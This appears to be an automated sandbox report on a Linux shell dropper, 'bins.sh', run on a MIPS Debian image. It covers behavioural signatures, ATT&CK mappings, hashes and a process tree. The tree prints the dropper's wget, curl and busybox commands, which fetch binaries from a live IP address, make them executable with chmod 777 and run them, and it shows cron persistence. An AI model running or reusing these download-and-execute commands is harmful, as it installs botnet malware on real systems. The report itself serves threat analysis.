f3b37a4959c6343e3e1368fd68c6e8ef5da2e811cc7df5e5cd289399c5667878

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24-11-2024 05:16

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General

Target

bins.sh
Size

10KB
MD5

2eff4db1aec35dadd57ea962525f018b
SHA1

3d3b257f08b34cca400f3a527e8af3bc9bbc2770
SHA256

f3b37a4959c6343e3e1368fd68c6e8ef5da2e811cc7df5e5cd289399c5667878
SHA512

9ada41178570c692b386fcee9c50d4de9e4e3678c1c0f9ac27321bc96050a1f7bf301c57961379b0ad415b677a85b50d0d3b27ccdb98b4ed25c0676b1aa2bfec
SSDEEP

192:mdFW7YIy7q5qZq5EdIkxxs7q27FYIvJpvRRh7A/ALA94wy7jnDtmJpIaTXQ08atE:FGI/HUIE94wyBP5IE94wTLB

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2064) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmod

pid process

750 chmod
757 chmod
851 chmod
861 chmod

pid	process
750	chmod
757	chmod
851	chmod
861	chmod

Executes dropped EXE 4 IoCs

Processes:

U59jXOydvquUhHn4MKkSAbnLlVezXQJxQTgFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCMEUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9

ioc	pid	process
/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	751	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
/tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM	758	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
/tmp/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9	852	EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
/tmp/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9	862	Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9

Renames itself 1 IoCs

Processes:

gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM

pid process

759 gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.WToXT6 crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
759	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.WToXT6	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCMcurl

description	ioc	process
File opened for reading	/proc/169/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/799/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1006/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1021/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1048/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/4/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1068/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/824/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1135/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/70/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/710/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1011/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/948/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1033/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1049/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1084/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1096/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/830/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/876/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/976/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1055/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1095/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/73/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/76/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/774/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1134/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1143/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/905/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1053/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1064/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/879/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1056/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1018/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/935/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1081/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1105/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1125/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1074/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/18/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/804/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/978/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1162/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/159/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1044/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1030/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1097/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1144/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/787/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/805/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1090/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/9/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/811/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1040/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1111/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/820/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/778/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/785/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/813/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/981/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1047/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1052/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/21/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
File opened for reading	/proc/1078/cmdline	gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxwgetcurlbusyboxbusyboxbusyboxwget

description	ioc	process
File opened for modification	/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	curl
File opened for modification	/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	busybox
File opened for modification	/tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM	wget
File opened for modification	/tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM	curl
File opened for modification	/tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM	busybox
File opened for modification	/tmp/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9	busybox
File opened for modification	/tmp/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9	busybox
File opened for modification	/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:718
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:724
- /usr/bin/wget
  wget http://87.120.125.191/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Writes file to tmp directory
  PID:726
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod 777 U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  ./U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  PID:753
- /usr/bin/wget
  wget http://87.120.125.191/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod 777 gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  ./gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:758
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:760
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:761
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:762
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:763
- /bin/rm
  rm gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  PID:765
- /usr/bin/wget
  wget http://87.120.125.191/bins/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  PID:769
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  - Writes file to tmp directory
  PID:850
- /bin/chmod
  chmod 777 EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  ./EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
  2⤵
  PID:854
- /usr/bin/wget
  wget http://87.120.125.191/bins/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  PID:855
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  PID:856
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  - Writes file to tmp directory
  PID:857
- /bin/chmod
  chmod 777 Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  ./Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
  2⤵
  PID:864
- /usr/bin/wget
  wget http://87.120.125.191/bins/GvcRb28XLNlF8afT4YIaxTawz6AqhxPJr7
  2⤵
  PID:865

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/var/spool/cron/crontabs/tmp.WToXT6

Filesize
210B

MD5
713b99eb0ce0cb46dad89db9d3fd1e6c

SHA1
237ad6680c049022a4e56498c0d3f1dc785153b4

SHA256
7679aa392d3dddaaf9674df7ede188557ac06030997ddfa0b764213fd9d6d2c3

SHA512
0e0d566ee5ac8acf28a2c28f964c5f08d71fba952203eea94963e01b2245d138444fba36813f2d83367508147194d5e02afeca731864f6e83ab7180f6781c815

Download Submit